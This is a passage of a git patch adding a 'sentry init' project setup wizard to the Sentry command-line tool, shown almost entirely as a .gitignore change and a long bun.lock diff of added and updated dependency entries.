From 4d6dddef8bdbeb64e5ebd080b4f944a0d2c62937 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 17 Feb 2026 20:48:57 +0100 Subject: [PATCH 01/34] feat(init): add init command for guided Sentry project setup Adds `sentry init` wizard that walks users through project setup via the Mastra API, handling DSN configuration, SDK installation prompts, and local file operations. Co-Authored-By: Claude Opus 4.6 --- .gitignore | 1 + bun.lock | 438 +++++++++++++++++++++++++++++++--- package.json | 1 + src/app.ts | 2 + src/commands/init.ts | 89 +++++++ src/lib/init/constants.ts | 8 + src/lib/init/formatters.ts | 120 ++++++++++ src/lib/init/interactive.ts | 181 ++++++++++++++ src/lib/init/local-ops.ts | 267 +++++++++++++++++++++ src/lib/init/types.ts | 101 ++++++++ src/lib/init/wizard-runner.ts | 115 +++++++++ 11 files changed, 1288 insertions(+), 35 deletions(-) create mode 100644 src/commands/init.ts create mode 100644 src/lib/init/constants.ts create mode 100644 src/lib/init/formatters.ts create mode 100644 src/lib/init/interactive.ts create mode 100644 src/lib/init/local-ops.ts create mode 100644 src/lib/init/types.ts create mode 100644 src/lib/init/wizard-runner.ts diff --git a/.gitignore b/.gitignore index e9259aae..9e4b370a 100644 --- a/.gitignore +++ b/.gitignore @@ -34,6 +34,7 @@ report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json .cache *.tsbuildinfo .turbo +.mastra # docs docs/dist diff --git a/bun.lock b/bun.lock index 2d6f6a6e..323ae911 100644 --- a/bun.lock +++ b/bun.lock @@ -3,9 +3,9 @@ "configVersion": 1, "workspaces": { "": { - "name": "sentry", "devDependencies": { "@biomejs/biome": "2.3.8", + "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", "@sentry/bun": "10.39.0", "@sentry/esbuild-plugin": "^2.23.0", @@ -37,17 +37,33 @@ "@stricli/core@1.2.5": "patches/@stricli%2Fcore@1.2.5.patch", }, "packages": { + "@a2a-js/sdk": ["@a2a-js/sdk@0.2.5", "", { "dependencies": { "@types/cors": "^2.8.17", "@types/express": "^4.17.23", "body-parser": "^2.2.0", "cors": "^2.8.5", "express": "^4.21.2", "uuid": "^11.1.0" } }, "sha512-VTDuRS5V0ATbJ/LkaQlisMnTAeYKXAK6scMguVBstf+KIBQ7HIuKhiXLv+G/hvejkV+THoXzoNifInAkU81P1g=="], + + "@ai-sdk/provider": ["@ai-sdk/provider@2.0.1", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-KCUwswvsC5VsW2PWFqF8eJgSCu5Ysj7m1TxiHTVA6g7k360bk0RNQENT8KTMAYEs+8fWPD3Uu4dEmzGHc+jGng=="], + + "@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@2.2.8", "", { "dependencies": { "@ai-sdk/provider": "1.1.3", "nanoid": "^3.3.8", "secure-json-parse": "^2.7.0" }, "peerDependencies": { "zod": "^3.23.8" } }, "sha512-fqhG+4sCVv8x7nFzYnFo19ryhAa3w096Kmc3hWxMQfW/TubPOmt3A6tYZhl4mUfQWWQMsuSkLrtjlWuXBVSGQA=="], + + "@ai-sdk/provider-utils-v5": ["@ai-sdk/provider-utils@3.0.20", "", { "dependencies": { "@ai-sdk/provider": "2.0.1", "@standard-schema/spec": "^1.0.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-iXHVe0apM2zUEzauqJwqmpC37A5rihrStAih5Ks+JE32iTe4LZ58y17UGBjpQQTCRw9YxMeo2UFLxLpBluyvLQ=="], + + "@ai-sdk/provider-utils-v6": ["@ai-sdk/provider-utils@4.0.0", "", { "dependencies": { "@ai-sdk/provider": "3.0.0", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-HyCyOls9I3a3e38+gtvOJOEjuw9KRcvbBnCL5GBuSmJvS9Jh9v3fz7pRC6ha1EUo/ZH1zwvLWYXBMtic8MTguA=="], + + "@ai-sdk/provider-v5": ["@ai-sdk/provider@2.0.0", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-6o7Y2SeO9vFKB8lArHXehNuusnpddKPk7xqL7T2/b+OvXMRIXUO1rR4wcv1hAFUAT9avGZshty3Wlua/XA7TvA=="], + + "@ai-sdk/provider-v6": ["@ai-sdk/provider@3.0.0", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-m9ka3ptkPQbaHHZHqDXDF9C9B5/Mav0KTdky1k2HZ3/nrW2t1AgObxIVPyGDWQNS9FXT/FS6PIoSjpcP/No8rQ=="], + + "@ai-sdk/ui-utils-v5": ["@ai-sdk/ui-utils@1.2.11", "", { "dependencies": { "@ai-sdk/provider": "1.1.3", "@ai-sdk/provider-utils": "2.2.8", "zod-to-json-schema": "^3.24.1" }, "peerDependencies": { "zod": "^3.23.8" } }, "sha512-3zcwCc8ezzFlwp3ZD15wAPjf2Au4s3vAbKsXQVyhxODHcmu0iyPO2Eua6D/vicq/AUm/BAo60r97O6HU+EI0+w=="], + "@apm-js-collab/code-transformer": ["@apm-js-collab/code-transformer@0.8.2", "", {}, "sha512-YRjJjNq5KFSjDUoqu5pFUWrrsvGOxl6c3bu+uMFc9HNNptZ2rNU/TI2nLw4jnhQNtka972Ee2m3uqbvDQtPeCA=="], "@apm-js-collab/tracing-hooks": ["@apm-js-collab/tracing-hooks@0.3.1", "", { "dependencies": { "@apm-js-collab/code-transformer": "^0.8.0", "debug": "^4.4.1", "module-details-from-path": "^1.0.4" } }, "sha512-Vu1CbmPURlN5fTboVuKMoJjbO5qcq9fA5YXpskx3dXe/zTBvjODFoerw+69rVBlRLrJpwPqSDqEuJDEKIrTldw=="], - "@babel/code-frame": ["@babel/code-frame@7.28.6", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-JYgintcMjRiCvS8mMECzaEn+m3PfoQiyqukOMCCVQtoJGYJw8j/8LBJEiqkHLkfwCcs74E3pbAUFNg7d9VNJ+Q=="], + "@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="], - "@babel/compat-data": ["@babel/compat-data@7.28.6", "", {}, "sha512-2lfu57JtzctfIrcGMz992hyLlByuzgIk58+hhGCxjKZ3rWI82NnVLjXcaTqkI2NvlcvOskZaiZ5kjUALo3Lpxg=="], + "@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="], - "@babel/core": ["@babel/core@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/generator": "^7.28.6", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/template": "^7.28.6", "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-H3mcG6ZDLTlYfaSNi0iOKkigqMFvkTKlGUYlD8GW7nNOYRrevuA46iTypPyv+06V3fEmvvazfntkBU34L0azAw=="], + "@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="], - "@babel/generator": ["@babel/generator@7.28.6", "", { "dependencies": { "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-lOoVRwADj8hjf7al89tvQ2a1lf53Z+7tiXMgpZJL3maQPDxh0DgLMN62B2MKUOFcoodBHLMbDM6WAbKgNy5Suw=="], + "@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="], "@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="], @@ -65,13 +81,13 @@ "@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="], - "@babel/parser": ["@babel/parser@7.28.6", "", { "dependencies": { "@babel/types": "^7.28.6" }, "bin": "./bin/babel-parser.js" }, "sha512-TeR9zWR18BvbfPmGbLampPMW+uW1NZnJlRuuHso8i87QZNq2JRF9i6RgxRqtEq+wQGsS19NNTWr2duhnE49mfQ=="], + "@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="], "@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="], - "@babel/traverse": ["@babel/traverse@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/generator": "^7.28.6", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.6", "@babel/template": "^7.28.6", "@babel/types": "^7.28.6", "debug": "^4.3.1" } }, "sha512-fgWX62k02qtjqdSNTAGxmKYY/7FSL9WAS1o2Hu5+I5m9T0yxZzr4cnrfXQ/MX0rIifthCSs6FKTlzYbJcPtMNg=="], + "@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="], - "@babel/types": ["@babel/types@7.28.6", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-0ZrskXVEHSWIqZM/sQZ4EV3jZJXRkio/WCxaqKZP1g//CEWEPSfeZFcms4XeKBCHU0ZKnIkdJeU/kF+eRp5lBg=="], + "@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="], "@biomejs/biome": ["@biomejs/biome@2.3.8", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.3.8", "@biomejs/cli-darwin-x64": "2.3.8", "@biomejs/cli-linux-arm64": "2.3.8", "@biomejs/cli-linux-arm64-musl": "2.3.8", "@biomejs/cli-linux-x64": "2.3.8", "@biomejs/cli-linux-x64-musl": "2.3.8", "@biomejs/cli-win32-arm64": "2.3.8", "@biomejs/cli-win32-x64": "2.3.8" }, "bin": { "biome": "bin/biome" } }, "sha512-Qjsgoe6FEBxWAUzwFGFrB+1+M8y/y5kwmg5CHac+GSVOdmOIqsAiXM5QMVGZJ1eCUCLlPZtq4aFAQ0eawEUuUA=="], @@ -147,9 +163,11 @@ "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="], - "@isaacs/balanced-match": ["@isaacs/balanced-match@4.0.1", "", {}, "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ=="], + "@hono/node-server": ["@hono/node-server@1.19.9", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw=="], + + "@isaacs/cliui": ["@isaacs/cliui@9.0.0", "", {}, "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg=="], - "@isaacs/brace-expansion": ["@isaacs/brace-expansion@5.0.0", "", { "dependencies": { "@isaacs/balanced-match": "^4.0.1" } }, "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA=="], + "@isaacs/ttlcache": ["@isaacs/ttlcache@2.1.4", "", {}, "sha512-7kMz0BJpMvgAMkyglums7B2vtrn5g0a0am77JY0GjkZZNetOBCFn7AG7gKCwT0QPiXyxW7YIQSgtARknUEOcxQ=="], "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], @@ -161,13 +179,25 @@ "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + "@lukeed/csprng": ["@lukeed/csprng@1.1.0", "", {}, "sha512-Z7C/xXCiGWsg0KuKsHTKJxbWhpI3Vs5GwLfOean7MGyVFGqdRgBbAjOCh6u4bbjPc/8MJ2pZmK/0DLdCbivLDA=="], + + "@lukeed/uuid": ["@lukeed/uuid@2.0.1", "", { "dependencies": { "@lukeed/csprng": "^1.1.0" } }, "sha512-qC72D4+CDdjGqJvkFMMEAtancHUQ7/d/tAiHf64z8MopFDmcrtbcJuerDtFceuAfQJ2pDSfCKCtbqoGBNnwg0w=="], + + "@mastra/client-js": ["@mastra/client-js@1.4.0", "", { "dependencies": { "@lukeed/uuid": "^2.0.1", "@mastra/core": "1.4.0", "@mastra/schema-compat": "1.1.0", "json-schema": "^0.4.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-nCRO//j7qy7ZQwbdFdFgDce493caX0o9makNIvMuSjCBRJwdxj2k1YP10nR24OsG7sLvnoZLKYxgu5zt5n4vFw=="], + + "@mastra/core": ["@mastra/core@1.4.0", "", { "dependencies": { "@a2a-js/sdk": "~0.2.4", "@ai-sdk/provider-utils-v5": "npm:@ai-sdk/provider-utils@3.0.20", "@ai-sdk/provider-utils-v6": "npm:@ai-sdk/provider-utils@4.0.0", "@ai-sdk/provider-v5": "npm:@ai-sdk/provider@2.0.0", "@ai-sdk/provider-v6": "npm:@ai-sdk/provider@3.0.0", "@ai-sdk/ui-utils-v5": "npm:@ai-sdk/ui-utils@1.2.11", "@isaacs/ttlcache": "^2.1.4", "@lukeed/uuid": "^2.0.1", "@mastra/schema-compat": "1.1.0", "@modelcontextprotocol/sdk": "^1.17.5", "@sindresorhus/slugify": "^2.2.1", "dotenv": "^17.2.3", "gray-matter": "^4.0.3", "hono": "^4.11.3", "hono-openapi": "^1.1.1", "js-tiktoken": "^1.0.21", "json-schema": "^0.4.0", "lru-cache": "^11.2.2", "p-map": "^7.0.3", "p-retry": "^7.1.0", "radash": "^12.1.1", "xxhash-wasm": "^1.1.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-dyCUFozUGXwyNLl5zRZbKFKemp4gfk+vTsrfgv9M08OlXl2AuLgc+J6Yyj9gFwBVCTgxPaKUtu3QaDOiproXrg=="], + + "@mastra/schema-compat": ["@mastra/schema-compat@1.1.0", "", { "dependencies": { "json-schema-to-zod": "^2.7.0", "zod-from-json-schema": "^0.5.0", "zod-from-json-schema-v3": "npm:zod-from-json-schema@^0.0.5", "zod-to-json-schema": "^3.24.6" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-2v8nTaAC/279jHs0ux2Emp+lNgBFq3QeNbZCGSHFeeBhbqqM5aWJCPY2Xgw8Z/dY3mTpFxBbmXQz3oRyYStnqg=="], + + "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.26.0", "", { "dependencies": { "@hono/node-server": "^1.19.9", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-Y5RmPncpiDtTXDbLKswIJzTqu2hyBKxTNsgKqKclDbhIgg1wgtf1fRuvxgTnRfcnxtvvgbIEcqUOzZrJ6iSReg=="], + "@opentelemetry/api": ["@opentelemetry/api@1.9.0", "", {}, "sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg=="], "@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.211.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-swFdZq8MCdmdR22jTVGQDhwqDzcI4M10nhjXkLr1EsIzXgZBqm4ZlmmcWsg3TSNf+3mzgOiqveXmBLZuDi2Lgg=="], - "@opentelemetry/context-async-hooks": ["@opentelemetry/context-async-hooks@2.5.0", "", { "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-uOXpVX0ZjO7heSVjhheW2XEPrhQAWr2BScDPoZ9UDycl5iuHG+Usyc3AIfG6kZeC1GyLpMInpQ6X5+9n69yOFw=="], + "@opentelemetry/context-async-hooks": ["@opentelemetry/context-async-hooks@2.5.1", "", { "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-MHbu8XxCHcBn6RwvCt2Vpn1WnLMNECfNKYB14LI5XypcgH4IE0/DiVifVR9tAkwPMyLXN8dOoPJfya3IryLQVw=="], - "@opentelemetry/core": ["@opentelemetry/core@2.5.0", "", { "dependencies": { "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ=="], + "@opentelemetry/core": ["@opentelemetry/core@2.5.1", "", { "dependencies": { "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-Dwlc+3HAZqpgTYq0MUyZABjFkcrKTePwuiFVLjahGD8cx3enqihmpAmdgNFO1R4m/sIe5afjJrA25Prqy4NXlA=="], "@opentelemetry/instrumentation": ["@opentelemetry/instrumentation@0.211.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.211.0", "import-in-the-middle": "^2.0.0", "require-in-the-middle": "^8.0.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-h0nrZEC/zvI994nhg7EgQ8URIHt0uDTwN90r3qQUdZORS455bbx+YebnGeEuFghUT0HlJSrLF4iHw67f+odY+Q=="], @@ -217,9 +247,9 @@ "@opentelemetry/redis-common": ["@opentelemetry/redis-common@0.38.2", "", {}, "sha512-1BCcU93iwSRZvDAgwUxC/DV4T/406SkMfxGqu5ojc3AvNI+I9GhV7v0J1HljsczuuhcnFLYqD5VmwVXfCGHzxA=="], - "@opentelemetry/resources": ["@opentelemetry/resources@2.5.0", "", { "dependencies": { "@opentelemetry/core": "2.5.0", "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g=="], + "@opentelemetry/resources": ["@opentelemetry/resources@2.5.1", "", { "dependencies": { "@opentelemetry/core": "2.5.1", "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "sha512-BViBCdE/GuXRlp9k7nS1w6wJvY5fnFX5XvuEtWsTAOQFIO89Eru7lGW3WbfbxtCuZ/GbrJfAziXG0w0dpxL7eQ=="], - "@opentelemetry/sdk-trace-base": ["@opentelemetry/sdk-trace-base@2.5.0", "", { "dependencies": { "@opentelemetry/core": "2.5.0", "@opentelemetry/resources": "2.5.0", "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ=="], + "@opentelemetry/sdk-trace-base": ["@opentelemetry/sdk-trace-base@2.5.1", "", { "dependencies": { "@opentelemetry/core": "2.5.1", "@opentelemetry/resources": "2.5.1", "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "sha512-iZH3Gw8cxQn0gjpOjJMmKLd9GIaNh/E3v3ST67vyzLSxHBs14HsG4dy7jMYyC5WXGdBVEcM7U/XTF5hCQxjDMw=="], "@opentelemetry/semantic-conventions": ["@opentelemetry/semantic-conventions@1.39.0", "", {}, "sha512-R5R9tb2AXs2IRLNKLBJDynhkfmx7mX0vi8NkhZb3gUkPWHn6HXk5J8iQ/dql0U3ApfWym4kXXmBDRGO+oeOfjg=="], @@ -261,19 +291,43 @@ "@sentry/opentelemetry": ["@sentry/opentelemetry@10.39.0", "", { "dependencies": { "@sentry/core": "10.39.0" }, "peerDependencies": { "@opentelemetry/api": "^1.9.0", "@opentelemetry/context-async-hooks": "^1.30.1 || ^2.1.0", "@opentelemetry/core": "^1.30.1 || ^2.1.0", "@opentelemetry/sdk-trace-base": "^1.30.1 || ^2.1.0", "@opentelemetry/semantic-conventions": "^1.39.0" } }, "sha512-eU8t/pyxjy7xYt6PNCVxT+8SJw5E3pnupdcUNN4ClqG4O5lX4QCDLtId48ki7i30VqrLtR7vmCHMSvqXXdvXPA=="], + "@sindresorhus/slugify": ["@sindresorhus/slugify@2.2.1", "", { "dependencies": { "@sindresorhus/transliterate": "^1.0.0", "escape-string-regexp": "^5.0.0" } }, "sha512-MkngSCRZ8JdSOCHRaYd+D01XhvU3Hjy6MGl06zhOk614hp9EOAp5gIkBeQg7wtmxpitU6eAL4kdiRMcJa2dlrw=="], + + "@sindresorhus/transliterate": ["@sindresorhus/transliterate@1.6.0", "", { "dependencies": { "escape-string-regexp": "^5.0.0" } }, "sha512-doH1gimEu3A46VX6aVxpHTeHrytJAG6HgdxntYnCFiIFHEM/ZGpG8KiZGBChchjQmG0XFIBL552kBTjVcMZXwQ=="], + + "@standard-community/standard-json": ["@standard-community/standard-json@0.3.5", "", { "peerDependencies": { "@standard-schema/spec": "^1.0.0", "@types/json-schema": "^7.0.15", "@valibot/to-json-schema": "^1.3.0", "arktype": "^2.1.20", "effect": "^3.16.8", "quansync": "^0.2.11", "sury": "^10.0.0", "typebox": "^1.0.17", "valibot": "^1.1.0", "zod": "^3.25.0 || ^4.0.0", "zod-to-json-schema": "^3.24.5" }, "optionalPeers": ["@valibot/to-json-schema", "arktype", "effect", "sury", "typebox", "valibot", "zod", "zod-to-json-schema"] }, "sha512-4+ZPorwDRt47i+O7RjyuaxHRK/37QY/LmgxlGrRrSTLYoFatEOzvqIc85GTlM18SFZ5E91C+v0o/M37wZPpUHA=="], + + "@standard-community/standard-openapi": ["@standard-community/standard-openapi@0.2.9", "", { "peerDependencies": { "@standard-community/standard-json": "^0.3.5", "@standard-schema/spec": "^1.0.0", "arktype": "^2.1.20", "effect": "^3.17.14", "openapi-types": "^12.1.3", "sury": "^10.0.0", "typebox": "^1.0.0", "valibot": "^1.1.0", "zod": "^3.25.0 || ^4.0.0", "zod-openapi": "^4" }, "optionalPeers": ["arktype", "effect", "sury", "typebox", "valibot", "zod", "zod-openapi"] }, "sha512-htj+yldvN1XncyZi4rehbf9kLbu8os2Ke/rfqoZHCMHuw34kiF3LP/yQPdA0tQ940y8nDq3Iou8R3wG+AGGyvg=="], + + "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], + "@stricli/auto-complete": ["@stricli/auto-complete@1.2.5", "", { "dependencies": { "@stricli/core": "^1.2.5" }, "bin": { "auto-complete": "dist/bin/cli.js" } }, "sha512-C6G88Hh4lUWBwiqsxbcA4I1ricSQwiLaOziTWW3NmBoX7WGTW7i7RvyooXMpZk1YMLf2olv5Odxmg127ik1DKQ=="], "@stricli/core": ["@stricli/core@1.2.5", "", {}, "sha512-+afyztQW7fwWkqmU2WQZbdc3LjnZThWYdtE0l+hykZ1Rvy7YGxZSvsVCS/wZ/2BNv117pQ9TU1GZZRIcPnB4tw=="], - "@trpc/server": ["@trpc/server@11.8.1", "", { "peerDependencies": { "typescript": ">=5.7.2" } }, "sha512-P4rzZRpEL7zDFgjxK65IdyH0e41FMFfTkQkuq0BA5tKcr7E6v9/v38DEklCpoDN6sPiB1Sigy/PUEzHENhswDA=="], + "@trpc/server": ["@trpc/server@11.10.0", "", { "peerDependencies": { "typescript": ">=5.7.2" } }, "sha512-zZjTrR6He61e5TiT7e/bQqab/jRcXBZM8Fg78Yoo8uh5pz60dzzbYuONNUCOkafv5ppXVMms4NHYfNZgzw50vg=="], + + "@types/body-parser": ["@types/body-parser@1.19.6", "", { "dependencies": { "@types/connect": "*", "@types/node": "*" } }, "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g=="], - "@types/bun": ["@types/bun@1.3.6", "", { "dependencies": { "bun-types": "1.3.6" } }, "sha512-uWCv6FO/8LcpREhenN1d1b6fcspAB+cefwD7uti8C8VffIv0Um08TKMn98FynpTiU38+y2dUO55T11NgDt8VAA=="], + "@types/bun": ["@types/bun@1.3.9", "", { "dependencies": { "bun-types": "1.3.9" } }, "sha512-KQ571yULOdWJiMH+RIWIOZ7B2RXQGpL1YQrBtLIV3FqDcCu6FsbFUBwhdKUlCKUpS3PJDsHlJ1QKlpxoVR+xtw=="], "@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="], + "@types/cors": ["@types/cors@2.8.19", "", { "dependencies": { "@types/node": "*" } }, 